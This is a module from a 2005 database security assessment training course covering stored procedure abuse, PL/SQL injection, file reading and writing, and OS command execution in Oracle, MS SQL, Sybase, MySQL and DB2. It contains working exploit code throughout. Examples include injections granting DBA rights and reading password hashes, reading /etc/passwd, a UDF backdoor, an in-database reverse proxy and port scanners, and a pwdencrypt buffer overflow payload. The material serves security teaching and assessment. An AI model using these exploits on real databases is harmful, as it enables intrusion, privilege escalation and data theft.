Misusing Stored & Extended Stored Procs


Vulnerabilities relating to stored procedures / extended stored procedures can be
categorised as:

SQL Injection within stored procedures

Classic Vulnerabilities within stored procedures

Dangerous default database resources

SQL Injection and Stored Procedures


A Stored procedure consisting of batched SQL statements is generally not of interest to an
attacker. However, there may be vulnerabilities within it if the procedure does not wholly
run under the privileges of the calling user; in this case, the user may be able to directly
perform actions above their privilege, or indirectly through SQL injection.
This may sound like a rare prerequisite, or even rather a weak attack when compared to
SQL injection through middle-tier application; however there is an abundance of examples
available, particularly in Oracle. Oracle has a special condition to allow for this case. When
a PL/SQL procedure executes, it does so with the permissions of the definer unless the
AUTHID CURRENT USER keyword has been specified. In this case the procedure
executes with invoker privileges. Any procedure that uses definer rights can be abused to
gain elevated privileges if they are vulnerable to PL/SQL injection.
SQL injection attacks are quite topical at the time of writing (June 2005). In Oracle, 4
instances of SQL injection in packages have been recently reported by AppSec Inc, and 7
more vulnerable packages reported by NGS at the close of 2004. In April 2005 NGS
discovered that around 20 new SQL Injection bugs were introduced by an Oracle patch. A
recent example of an Injection-vulnerable package is the DBMS_CDC_SUBSCRIBE
package in Oracle, which can be run by PUBLIC but runs with SYS privileges.
A good example of this type of vulnerability is stored procedures in Sybase ASA. These
run with the privileges of the creator, not the user executing the procedure. This means
that if dynamic SQL in a stored procedure can be executed by a user, it can lead to
elevated privileges.
In a corporate environment, stored procedures are often written to control access to
specific data (replacing the task of a database view). These may contain dynamic SQL
and are very often vulnerable to SQL Injection.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

127

Module 8: Exploiting Vulnerabilities to Gain Control

Classic Vulnerabilities
Classic classes of vulnerabilities such as Buffer Overflow, Format String specification and
path traversal may exist within stored procedures or functions.
Stored procedures are more than a shortcut for SQL programming: many call functions
outside the database. While the SQL language itself does not normally contain constructs
that allow buffer overflows and format strings, many SQL parsers suffer from overflows
and it is common for calls to external libraries to have these kinds of problems. Some
examples:

Parsers: buffer overflows (example DB2s XML parsing procedures)

File operators: format strings, buffer overflows, path traversal / UNC paths

Functions: Buffer Overflows (example Oracles TZ_OFFSET, TZ_TIMESTAMP)

Mail functions: format strings, buffer overflows (Sybase ASA Anywhere mail
functions)

The unifying feature of all of these examples is that they call something outside the
database perimeter, whether its system time, files, proprietary libraries or mail clients. A
good demonstration of this is to look at the number of vulnerabilities in extended MSSQL
stored procedures; of around 100 stored procedures, 25 or so have been affected by
security vulnerabilities, most of them high risk issues.
Even so, it is not infeasible that a classic vulnerability could exist that was purely SQLbased; a table is just a file on a system, so a malicious table name or contents could lead
to a vulnerability (and has, in the past). In Sybase ASE, executing:
declare @foo 'AAAA.....AAAA' (for about 9000 characters)
.causes a buffer overflow!
In general, vulnerabilities within functions are very high risk, as they can be executed by all
users. Vulnerabilities within Stored procedures are more common, but as most
vulnerabilities are exploiting an instance where the database is clearly moving out of its
perimeter, permissions tend to have been set more carefully by the manufacturer or
administrator (although there is usually a publicly executable one to be found).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

128

Module 8: Exploiting Vulnerabilities to Gain Control

Dangerous Default Stored Procedures


This is the simplest category of vulnerabilities to exploit, as there is no exploit required and
are less likely to affect system stability.
The stand-out example of this category is Sybase and MS SQLs xp_cmdshell, granting
direct OS access normally under the SYSTEM account or another highly privileged
account. Others may be obvious from their name/function, such as UTL_FILE on Oracle,
which allows users to read and write files on the operating system, and the sp_job*
procedures on MSSQL, which are commonly seen assigned to PUBLIC.
A crossover between the dangerous default and classic vulnerabilities categories may
be required to describe stored procedures which can be used for actions other than their
intended use. For example table load/unload functions are designed to read in and export
data to and from tables, but can generally be used on arbitrary data. However, a file format
parser may be abused to load an arbitrary file instead of the intended format (DB2s XML
parser does this see the next example).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

129

Module 8: Exploiting Vulnerabilities to Gain Control

More Code Injection within Database Resources


The example of SQL Injection within stored procedures within Sybase is representative of
this kind of vulnerability that plagues many database products. NGS Researchers have
discovered many similar conditions that exist within Oracle. In these cases, it is possible
for a low privileged database user to raise privileges to a higher authority.

PL/SQL Injection within Oracle Procedures


Procedural Language/SQL (PL/SQL) is the programming language used by Oracle to
create internal database resources. Stored procedures, functions, triggers and all objects
within Oracle are essentially created with PL/SQL. Normal programming constructs and
techniques apply in some form to PL/SQL making it a diverse and useful tool.
When a PL/SQL procedure executes it normally does so with the permissions of the user
that defined the procedure. This can introduce potential security issues where, for
example, a procedure is executed by a low privileged database user that was defined by
the user SYS (Oracle, top dog!). This operation is known simply as executing with definer
rights and may on the surface appear relatively harmless. This method of operation is
useful for scenarios where low privileged users require the ability to INSERT data into
tables that they should not have the opportunity to manipulate further; particularly where
the database user is an application account for a front-end tier.
If the procedure in use is vulnerable to PL/SQL Injection (in similar ways as described for
MS SQL Stored Procedures) then it could be possible for a low privileged user to insert
code into the procedure that will execute with definer rights and have the affect of running
that statement with the permissions of the SYS user.

Turning PL/SQL Injection into a Workable Attack


The ability to programmatically raise privileges from a low level PUBLIC account to an
account that has DBA privileges is a dangerous condition. Exploitation of SQL Injection
vectors within a web application could mean that an attacker has direct query access to a
low privileged database account. Generally, this would limit the attack possibility by
restricting the amount of control the application account has over the database. However,
exploiting a privilege escalation case such as that with Oracle or MS SQL could allow the
remote attacker to take full control of the backend system from a remote location. This
would obviously lead to full data and host compromise and potentially facilitate the further
attack of an internal network.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

130

Module 8: Exploiting Vulnerabilities to Gain Control

It is possible to inject code into INSERT, SELECT, UPDATE and DELETE statements to
give many opportunities for programmatic control over a procedure. Even anonymous
PL/SQL blocks can be exploited in this way.

Oracle PL/SQL Injection Vulnerabilities


It was discovered by NGS Researchers that the STORE_ACL function within Oracles
WK_ACL package is vulnerable to SQL Injection. This package is owned by WKSYS and
so executes with a high level of privilege within the database. The first parameter passed
to the function is the name of a database SCHEMA which is then used in the following
INSERT statement:
INSERT INTO SCHEMA.WK$ACL
This statement allows an attacker to effectively INSERT into any table that WKSYS can
INSERT into. As WKSYS is a DBA, this allows the attacker to upgrade the current level of
database privileges.
In a similar way, Oracle 10g has fallen foul to a SQL Injection vulnerability within an
anonymous block (amongst others) whereby PUBLIC can execute the
GET_DOMAIN_INDEX_METADATA procedure of the DBMS_EXPORT_EXTENSION
package owned by SYS. The following example script will inject into this procedure and
grant the DBA role to the low privileged user SCOTT:
DECLARE
NB PLS_INTEGER;
BUF VARCHAR2(2000);
BEGIN
BUF:=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FO
O','EXFSYS"."EXPRESSIONINDEXMETHODS".ODCIIndexGetMetadata(oindexinf
o,:p3,:p4,ENV);
EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO
SCOTT'';END; --','VER',NB,1);
END;
There are many other cases in existence of SQL Injection within Oracle packages and
procedures that have been discovered by NGS. For further details of NGS discovered
vulnerabilities such as this, see the advisories section of our web site
(http://www.ngssoftware.com/advisory.htm).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

131

Module 8: Exploiting Vulnerabilities to Gain Control

PL/SQL Injection into Triggers


In exactly the same way described for procedures and packages, it is possible to inject
SQL into Oracle Triggers and escalate privileges. For example in Oracle 9i and 10g the
MDSYS.SDO_GEOM_TRIG_INS1 is vulnerable to SQL Injection. The trigger consists of
the following statements and executes when an INSERT is performed on
MDSYS.USER_SDO_GEOM_METADATA:
EXECUTE IMMEDIATE
'SELECT user FROM dual' into tname;
stmt := 'SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ' ||
'WHERE sdo_owner = ''' || tname || ''' ' ||
' AND sdo_table_name = ''' || :n.table_name || ''' '||
' AND sdo_column_name = ''' || :n.column_name || ''' ';
The parameters new.table_name and new.column_name are vulnerable to SQL Injection.
PUBLIC has the permission to INSERT into this table and as such provides the
opportunity for this Trigger to be abused by a low privileged user to SELECT data from
any table from which MDSYS can select from. The following SQL statements prove this
problem by permitting a low privileged user to select the password hash from SYS from
the USER$ table:
set serveroutput on
create or replace function y return varchar2 authid current_user is
buffer varchar2(30);
stmt varchar2(200):='select password from sys.user$ where name
=''SYS''';
begin
execute immediate stmt into buffer;
dbms_output.put_line('SYS passord is: '|| buffer);
return 'foo';
end;
/
grant execute on y to public;
insert into mdsys.user_sdo_geom_metadata (table_name,column_name)
values
('X'' AND SDO_COLUMN_NAME=scott.y--','test');

Executing with Invoker Rights


It is possible to change the execution behaviour of a procedure to execute with the
permissions of the user that is running the command, rather that that of the definer or
creator. It is generally achieved within Oracle by using the AUTHID CURRENT_USER
commands:
CREATE OR REPLACE PROCEDURE HELLO_WORLD AUTHID CURRENT_USER AS

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

132

Module 8: Exploiting Vulnerabilities to Gain Control

BEGIN
DBMS_OUTPUT.PUT_LINE(Hello, World!);
END;

Making the Problem Bigger : Using Oracle Application Server


The most common application environment when dealing with web applications that back
onto Oracle databases is the Oracle Application Server. If URLs contain /pls it is an
indication that the request is for a PL/SQL application. Consider the following URL:
http://www.greatcars.example.com/pls/carshow/browse.search_by_make?
p_make=austin
The following aspects of this URL are related to Oracle Application Server:

/pls Indicates the use of a PL/SQL application

/carshow Is the Database Access Descriptor (DAD) which points to the location
of a configuration file that contains web server / database server connection
details.

/browse Is the name of the database package

.search_by_make Is the name of the procedure within the package browse

Under normal operation when this request is made to the web server, the request is sent
to the database which executes the SEARCH_BY_MAKE procedure within the package
BROWSE. This procedure queries the table of cars and sends the results back to the web
server for presentation to the end user.
Historically it has been possible to make requests of other packages and procedures
under schemas other than that set by the application database context. Considering that
Oracles PL/SQL toolkit provides some potentially dangerous resources it was possible to
extract database information that was not intended for public consumption. For example:
http://www.greatcars.example.com/pls/carshow/SYS.OWA_UTIL.CELLSPRIN
T?P_THEQUERY=<select_query>
Here we see that the URL is requesting the OWA_UTIL.CELLSPRINT procedure from the
SYS database schema. This type of query would execute and allow an attacker to extract
arbitrary query results from the back end database.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

133

Module 8: Exploiting Vulnerabilities to Gain Control

To combat this Oracle introduced the PlsqlExclusionList. This allows for the specification
of database resources that cannot be accessed by a user over Oracle Application Server,
so if a request comes in for sensitive resources it is rejected. By default Oracle included
anything in the SYS schema, any package starting with DBMS* and anything starting with
OWA*. Immediately it appears to be an oversight that Oracle did not include resources
from the powerful schemas associated with MDSYS or CTXSYS.
Unfortunately for Oracle it was discovered by NGS Researchers that aside from them
overlooking the MDSYS and CTXSYS schemas that the pattern matching for the
PlsqlExclusionList was trivial to break!
By simply inserting non-default character
representations prior to the schema representation the pattern matching was evaded and
the queries were possible once more. This has continued in various forms with Oracle
fixing each issues as they are described to them.
It remains to be seen that on a default installation of Oracle Application Server it would be
trivial for an attacker to execute arbitrary queries against the database and potentially
compromise the system.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

134

Module 8: Exploiting Vulnerabilities to Gain Control

Reading & Writing Arbitrary System Files


The ability to read and write arbitrary system files as a database user can open up easy
routes to compromising the host Operating System. Although, given the right combination
of resources and permissions it is generally possible to achieve on any database system,
the following example is particularly representative.

MySQL File Privilege


With the file privilege, reading and writing files to the operating system is trivial with the
LOAD_FILE and LOAD DATA INFILE functions. The following extract shows the reading
of the /etc/passwd file on a UNIX based database host:
select load_file('/etc/passwd);
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/sbin:/bin/sh
adm:x:3:4:adm:/var/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/bin/sh
news:x:9:13:news:/var/spool/news:/bin/sh
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:operator:/var:/bin/sh
games:x:12:100:games:/usr/games:/bin/sh
nobody:x:65534:65534:Nobody:/:/bin/sh
rpm:x:13:101:system user for rpm:/var/lib/rpm:/bin/false
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:70:70:system user for portmap:/:/bin/false
xfs:x:71:71:system user for xorg-x11:/etc/X11/fs:/bin/false
messagebus:x:72:72:system user for dbus:/:/sbin/nologin
apache:x:73:73:system user for apache2:/var/www:/bin/sh
rpcuser:x:74:74:system user for nfs-utils:/var/lib/nfs:/bin/false
sshd:x:75:75:system user for openssh:/var/empty:/bin/true
mysql:x:76:76:system user for MySQL:/var/lib/mysql:/bin/bash
squid:x:77:77:system user for squid:/var/spool/squid:/bin/false
postgres:x:78:78:system user for
postgresql:/var/lib/pgsql:/bin/bash
manicsprout:x:501:501:manicsprout:/home/manicsprout:/bin/bash
snort:x:79:79:system user for snort:/var/log/snort:/bin/false

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

135

Module 8: Exploiting Vulnerabilities to Gain Control

Using a simple set of SQL statements it is possible to read from the passwd file into a
temporary / holding table:
create table unixpwd( line varchar(80) );
load data infile '/etc/passwd' into table unixpwd;
select * from unixpwd;
drop table unixpwd

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

136

Module 8: Exploiting Vulnerabilities to Gain Control

Similarly, it is possible to output data onto the file system. MySQL will not allow files to be
overwritten, however a new file could be created which will not be there by default, such
as /etc/hosts.equiv, or a startup script, for example:
select * from foo into outfile /etc/hosts.equiv
Most databases implement the same or similar methods for loading data with OUTFILE
and INFILE. If the attacker does not have the relevant privilege to load a file, it may be
possible to load a file more unconventionally, using a database function which is linked to
a library. For example, in DB2 it is possible to use XMLVarcharFromFile, which is used to
read in XML data:
select db2xml.xmlvarcharfromfile('c:\boot.ini','ibm-808') from
sysibm.sysdummy1
it is also possible to write files, and overwrite existing files, using the converse function,
XmlFileFromVarchar:
select db2xml.XMLFileFromVarchar('hello','c:\foo.txt') from
sysibm.sysdummy1

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

137

Module 8: Exploiting Vulnerabilities to Gain Control

Breaking Out of the Database


Generally in order to execute system commands or further attack the network one of two
criteria should be met; either an external library is defined within the database, or users
must have the ability to link to their an external library containing the required function. In
either case, the command is generally executed with the privileges of the database itself.

MySQL Command Execution


There is no default method of running commands within MySQL, however there is a
concept of a User Defined Function (UDF). Using the SELECT INTO OUTFILE, an
attacker can create a dll or UNIX library. The attacker then creates a function based on the
Select 0x INTO OUTFILE udf_backdoor.so
create function backdoor returns string soname 'udf_backdoor.so';
select('cat /etc/passwd > foo');
select load_file(foo)

MS SQL / Sybase Command Execution


MSSQL Server has one of the most well-known system command execution methods,
xp_cmdshell. Sybase uses the same method.
xp_cmdshell 'dir c:\'
Volume in drive C has no label.
Volume Serial Number is B87D-B9C4
(null)
Directory of c:\
(null)
15/07/2004 09:46
<DIR>
archive_app
15/07/2004 09:46
1,198,560 archive_app.zip
14/07/2004 03:26
<DIR>
Documents and Settings
24/02/2005 11:31
7,212,560 F3_Wizard_Installer.exe
23/02/2005 11:26
<DIR>
Inetpub
16/07/2004 07:56
<DIR>
Odysseus
24/02/2005 11:31
<DIR>
Program Files
14/07/2004 15:49
3,188 scripts.zip
24/02/2005 11:49
<DIR>
WINNT
3 File(s)
8,414,308 bytes
6 Dir(s)
2,408,509,440 bytes free
(null)

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

138

Module 8: Exploiting Vulnerabilities to Gain Control

Producing T-SQL Hack Tools in Microsoft SQL Server


It is possible to create a tool consisting entirely of T-SQL that can affectively scan a
network range local to the compromised server and check for listening services. The
OpenRowSet command can be used as a basic port scanner by an attacker to locate
listening services on an internal network. The following query can be used to attempt a
connection to a host on port 80:
select * from OPENROWSET('SQLOLEDB',
'uid=sa;pwd=foobar;Network=DBMSSOCN;Address=192.168.0.1,80;timeout=
5', '')
This command is essentially trying to connect to the host at IP address 192.168.0.1 on
TCP port 80 and is submitting the SQL Server credentials of username SA and a
password of foobar (to understand why this is happening see the subsection Adhoc
Queries and SQL Agent Misuse). For the moment, we are interested in the error message
returned by the server or the time taken to do so. For an open network port the following
error message is returned:

General Network Error. Check your network documentation

Where as a closed port or an unresponsive host produces the following:

SQL Server Does Not Exist or Access Denied

Where attempting to map an internal network from SQL Injection within a web application
in this way, it will not be possible to see the returned database error message. So instead
the timeout parameter can be used to determine the success of failure of the query. A
timeout of less than the specified parameter can indicate a live host with an open port,
whereas if the timeout is met or exceeded the case is unlikely. Although it would be
extremely time consuming to use this method to probe an internal network, it is a valid
method of progressing further into a trusted area and has been used on consultancy
engagements by NGS on numerous occasions.

Producing Java Hack Tools in Sybase and Oracle


Sybase ASE, like Oracle, supports the use of JSQL as a programming language within the
database. This means that it is trivial to write a Java based port scanner that could
function in the same way as the OpenRowSet scanner or the built in package based
options available in Oracle (see below). However, the Sybase implementation allows the
mixture of Java and SQL statements in a unique way. Using this it is possible to write a
procedure that acts as a TCP reverse proxy. This could potentially be delivered to the

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

139

Module 8: Exploiting Vulnerabilities to Gain Control

server via SQL Injection or a different method for script upload. The following script
illustrates the ease with which a TCP reverse proxy can be created within Java:
create procedure proxy( @outhost varchar(1000), @outport integer,
@inhost varchar(1000), @inport integer ) as
begin
declare @sout java.net.Socket
declare @sin java.net.Socket
declare @outis java.io.InputStream
declare @outos java.io.OutputStream
declare @inis java.io.InputStream
declare @inos java.io.OutputStream
declare @buffer varchar(2000)
declare @no_out integer
declare @no_in integer
declare @i integer
set @sout = new java.net.Socket( @outhost, @outport )
set @outis = @sout>>getInputStream()
set @outos = @sout>>getOutputStream()
set @sin = new java.net.Socket( @inhost, @inport )
set @inis = @sin>>getInputStream()
set @inos = @sin>>getOutputStream()
set @i = 0
while(@i < 60)
begin
if(@outis>>available() > 0)
begin
set @buffer = char(@outis>>"read"())
while( @outis>>available() > 0 )
begin
set @buffer = @buffer +
char(@outis>>"read"())
end
set @inos =
@inos>>"write"(convert(varbinary(2000), @buffer))
set @no_out = 0
set @i = 0
end
else
set @no_out = 1
if(@inis>>available() > 0)
begin
set @buffer = char(@inis>>"read"())
while( @inis>>available() > 0 )
begin
set @buffer = @buffer +
char(@inis>>"read"())
end
set @outos =
@outos>>"write"(convert(varbinary(2000), @buffer))

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

140

Module 8: Exploiting Vulnerabilities to Gain Control

set @no_in = 0
set @i = 0
end
else
set @no_in = 1
if(( @no_in = 1 ) and ( @no_out = 1 ))
begin
set @no_in =
java.lang.Thread.currentThread()>>sleep( 1000 )
set @i = @i + 1
end
end
set @sout = @sout>>"close"()
set @sin = @sin>>"close"()
end
By running a similar proxy on the attacking host, it would be possible to use the Sybase
server as a conduit into an internal network and attack vulnerable hosts that would
previously have been protected by the border firewall.

Oracle Command Execution


Oracle does not have a purpose-built command execution method, but NGS Researchers
have pointed out that users with sufficient privilege can execute CREATE LIBRARY and
link to external (OS) libraries. An example is the c runtime library msvcrt.dll:
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\winnt\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
exec oracmd.exec ('dir > c:\oracle.txt);

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

141

Module 8: Exploiting Vulnerabilities to Gain Control

Ultimately, if a user can link to an external library in any database, they can achieve OS
compromise, particularly on a Windows system where the database is likely to be running
as SYSTEM.

Producing PL/SQL Hack Tools


Oracle contains a large number of PL/SQL packages that can be used to craft custom
tools to explore a host or network. These packages are installed by default with PUBLIC
execute permissions. The most common packages that can be used to produce a network
port scanner or a service based query tool are UTL_TCP, UTL_HTTP and UTL_SMTP.
UTL_TCP allows arbitrary TCP based connections on any port to hosts within the network,
whilst UTL_HTTP and UTL_SMTP specifically deal with web and mail servers
respectively. Some sample code for a UTL_TCP port scanner could be as follows:
CREATE OR REPLACE PACKAGE TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2,
START_PORT NUMBER,
END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0);
PROCEDURE CHECK_PORT(HOST VARCHAR2,
TCP_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0);
END TCP_SCAN;
/
SHOW ERRORS
CREATE OR REPLACE PACKAGE BODY TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2,
START_PORT NUMBER,
END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0) AS
I NUMBER := START_PORT;
BEGIN
FOR I IN START_PORT..END_PORT LOOP
CHECK_PORT(HOST,I,VERBOSE);
END LOOP;
EXCEPTION WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('An error occured.');
END SCAN;
PROCEDURE CHECK_PORT(HOST VARCHAR2,
TCP_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0) AS
CN SYS.UTL_TCP.CONNECTION;
NETWORK_ERROR EXCEPTION;
PRAGMA EXCEPTION_INIT(NETWORK_ERROR,-29260);

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

142

Module 8: Exploiting Vulnerabilities to Gain Control

BEGIN
DBMS_OUTPUT.ENABLE(1000000);
CN := UTL_TCP.OPEN_CONNECTION(HOST, TCP_PORT);
DBMS_OUTPUT.PUT_LINE('TCP Port ' ||
TCP_PORT || ' on ' || HOST || ' is open.');
EXCEPTION WHEN NETWORK_ERROR THEN
IF VERBOSE !=0 THEN
DBMS_OUTPUT.PUT_LINE('TCP Port ' ||
TCP_PORT || ' on ' || HOST || ' is not open.');
END IF;
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('There was an error.');
END CHECK_PORT;
END TCP_SCAN;
/
SHOW ERRORS

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

143

Module 8: Exploiting Vulnerabilities to Gain Control

Exploiting Functions & Temporary Stored Proc Bugs


Additional vulnerabilities have been present historically within functions and temporary
stored procedures within Microsoft SQL Server. The following examples show the
potential for this class of vulnerabilities, that can under many circumstances exist within
other database products.

Overflows in Microsoft SQL Functions


The OpenDataSource(), OpenRowSet() and pwdencrypt() functions within Microsoft SQL
Server have been discovered to be vulnerable to buffer overflow vulnerabilities. Although
these issues have been long since patched, the vulnerabilities will still remain within
default out-of-the-box installations. During network assessment and penetration testing,
it is common to find default instances of SQL Server that have been overlooked within a
network. Often, the context with which the database is running can provide an attacker
domain user or domain administrator access . The following T-SQL statements are proof
of concept code for the pwdencrypt() overflow should demonstrate the relative ease with
which the vulnerability can be exploited:
declare @msver nvarchar (200)
declare @ver int
declare @sp nvarchar (20)
declare @call_eax nvarchar(8)
declare @exploit nvarchar(2000)
declare @padding nvarchar(200)
declare @exploit_code nvarchar(1000)
declare @sra nvarchar(8)
declare @short_jump nvarchar(8)
declare @a_bit_more_pad nvarchar (16)
declare @WinExec nvarchar(16)
declare @command nvarchar(300)
select @command =
0x636D642E657865202F6320646972203E20633A5C707764656E63727970742E747
87400000000
select @sp = N'Service Pack '
select @msver = @@version
select @ver = ascii(substring(reverse(@msver),3,1))
if @ver = 53
print @sp + char(@ver) -- Windows 2000 SP5 For when it comes out.
else if @ver = 52
print @sp + char(@ver) -- Windows 2000 SP4 For when it comes out.
else if @ver = 51
print @sp + char(@ver) -- Windows 2000 SP3 For when it comes out.
else if @ver = 50 -- Windows 2000 Service Pack 2

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

144

Module 8: Exploiting Vulnerabilities to Gain Control

BEGIN
print @sp + char(@ver)
select @sra = 0x2B49E277
select @WinExec = 0xAFA7E977
END
else if @ver = 49 -- Windows 2000 Service Pack 1
BEGIN
print @sp + char(@ver)
select @sra = 0x00000000 -- Need to get address
select @WinExec = 0x00000000 -- Need to get address
END
else -- No Windows 2000 Service Pack
BEGIN
print @sp + char(@ver)
select @sra = 0x00000000 -- Need to get address
select @WinExec = 0x00000000 -- Need to get address
END
select @short_jump = 0xEB0A9090
select @padding =
N'NGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirre
LNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSuirreLN
GSSQuirreLNGSSQuirreLNGSSQuirreL*'
select @a_bit_more_pad = 0x6000600060006000
select @exploit_code = 0x90558BEC33C0508D452450B8
select @call_eax = 0xFFD0FFD0
select @exploit = @padding + @sra + @short_jump + @a_bit_more_pad +
@exploit_code + @WinExec + @call_eax +@command
select pwdencrypt(@exploit)
This code works against MS SQL 2000 without any applied service packs.

Microsoft SQL Server Temporary Stored Proc Permission Bugs


Similarly, although this issue is now patched it does highlight a classic failing within
database systems. Many instances of weak ACL / file permissions have plagued
database installations and continue to do so. Originally, in this case, Microsoft did not
employ any permissions checking against temporary stored procedures within an
installation. The rationale for this was the temp stored proc should only be accessible to
the user that created it, so permissions checking of any kind was redundant. However,
this is not always the case and is most prevalent when a temporary stored procedure
attempts to access resources for which user (creator) does not have permissions for. A
good example at the time was access to the powerful xp_cmdshell Extended Stored
Procedure. Although a low privileged user would certainly not have access to the
resource, creating a temporary stored procedure such as the following, would grant
access:
create proc #mycmd as
exec master..xp_cmdshell 'dir > c:\ill-gotten-gains.txt'

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

145

Module 8: Exploiting Vulnerabilities to Gain Control

Adhoc Queries & SQL Agent Misuse


Some additional areas of weakness are presented here that have been and continue to be
serious threats to database systems.

Using OpenRowSet Adhoc Queries


The OpenRowSet command allows a user to connect to a Microsoft SQL Server and run
arbitrary queries against the host, without that database instance defined as a linked
server. We have already seen how this can be used to produce tools for profiling an
internal network remotely. The general term for this process is an ad hoc query and is
possible to connect either to another database instance, or initiate a loopback connection
to the same database. Historically, this loopback connection could be achieved without
credentials, providing certain conditions were met (for example, allowing mixed mode
authentication and running the database as the Local Administrator), however it has since
been patched by Microsoft. The following SQL statements show a loopback connection:
select * from openrowset ('SQLOLEDB','trusted_connection=yes;data
source=LOCAL_SERVER_NAME;', 'set fmtonly off exec
master..xp_cmdshell ''dir > c:\adhoc-query-results.txt''')
In this case, a loopback connection is initiated without credentials and access to the
Extended Stored Proc xp_cmdshell is gained. Despite the no credentials flavour of the
bug, it is still possible to utilise this method effectively when dealing with SQL Injection in a
front-end web application. If the developers have had the forethought to force the
application to connect to the database with a relatively low privileged application account,
but have overlooked the provisioning of a strong SA password, it would be possible to
attempt loopback connections and guess the credentials for the account through brute
force. This would essentially provide a way of escalating privileges within the database for
the attacker.

Running Queries Through the SQL Agent


Under certain conditions determined by configuration and patching, it is possible for the
PUBLIC role to submit jobs for execution to the SQL Agent. Under this process, the SQL
Agent is able to run the commands with a higher privilege than the account that submitted
the request.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

146

Module 8: Exploiting Vulnerabilities to Gain Control

Exploiting Boundary Conditions with Buffer Overruns


Generally, the most serious class of vulnerability is that provided by buffer overflow or
overrun conditions. Successful exploitation of a buffer overflow can provide either Denial
of Service or remote code execution.

Microsoft SQL Server User Authentication Overflow aka Hello Bug


In August 2002, Dave Aitel (http://www.immunitysec.com) announced a user
authentication vulnerability within Microsoft SQL 2000 / MSDE that permits remote code
execution by an unauthenticated user. This class of vulnerability in the form of the an
exploitable buffer overflow should be considered the most critical for host security.
Despite the number of years since discovery and the relative time that the database patch
has been available, NGS still find vulnerable SQL servers with this issue. Exploitation has
be been made even simpler by the public availability of the Metasploit Framework
(http://www.metasploit.com). This provides reliable exploits for known vulnerabilities to the
security community.

Microsoft SQL Server UDP Resolution Overflow aka Slammer Worm


The SQLPing tool mentioned during this course queries the SQL Monitor port (UDP port
1434) with a packet value of 0x02, which SQL Server responds to with information
regarding that database installation.
NGS researched this condition further and
discovered the following side affects of changing the packet contents in simple ways:

0x04 Upon receiving a packet with the first byte set to 0x04 the SQL Server will
receive whatever immediately follows this packet and copy it into a buffer before
attempting to open a Windows Registry key using the buffer contents. During this
process, an unsafe string copy is performed and a stack based buffer overflow is
produced. This overwrites the saved return address on the stack and permits
remote unauthenticated code execution. Because this traffic is over UDP, it is
often possible to spoof the source address and bypass corporate firewalls by
setting a UDP source port of 53 (DNS).

0x08 Sending this packet to the SQL Server results in a Denial of Service
condition. Further research by NGS determined that this condition can actually be
developed into a HEAP based overflow. A remote attacker can use this condition
to execute arbitrary code against the SQL Server.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

147

Module 8: Exploiting Vulnerabilities to Gain Control

0x0A A curious condition was discovered when specifying a packet with the first
byte set to 0x0A. The server responds with the same packet. If the original
source address is spoofed to be that of another SQL Server, it is possible to force
the two SQL servers to bounce these packets between each other for ever more!

The following screenshot, taken again from the Metasploit Framework shows the
exploitation and reverse shell payload of a vulnerable SQL Server compromised by the
UDP resolution stack based overflow:

Oracle TIME_ZONE Buffer Overflow


Mark Litchfield of NGS Software discovered that in versions of Oracle prior to 9.2.0.3 that
the TIME_ZONE parameter within the installation is vulnerable to a stack based buffer
overflow. The TIME_ZONE parameter specifies the default local time zone displacement
for the current SQL session. TIME_ZONE is a session parameter only, not an initialization
parameter.
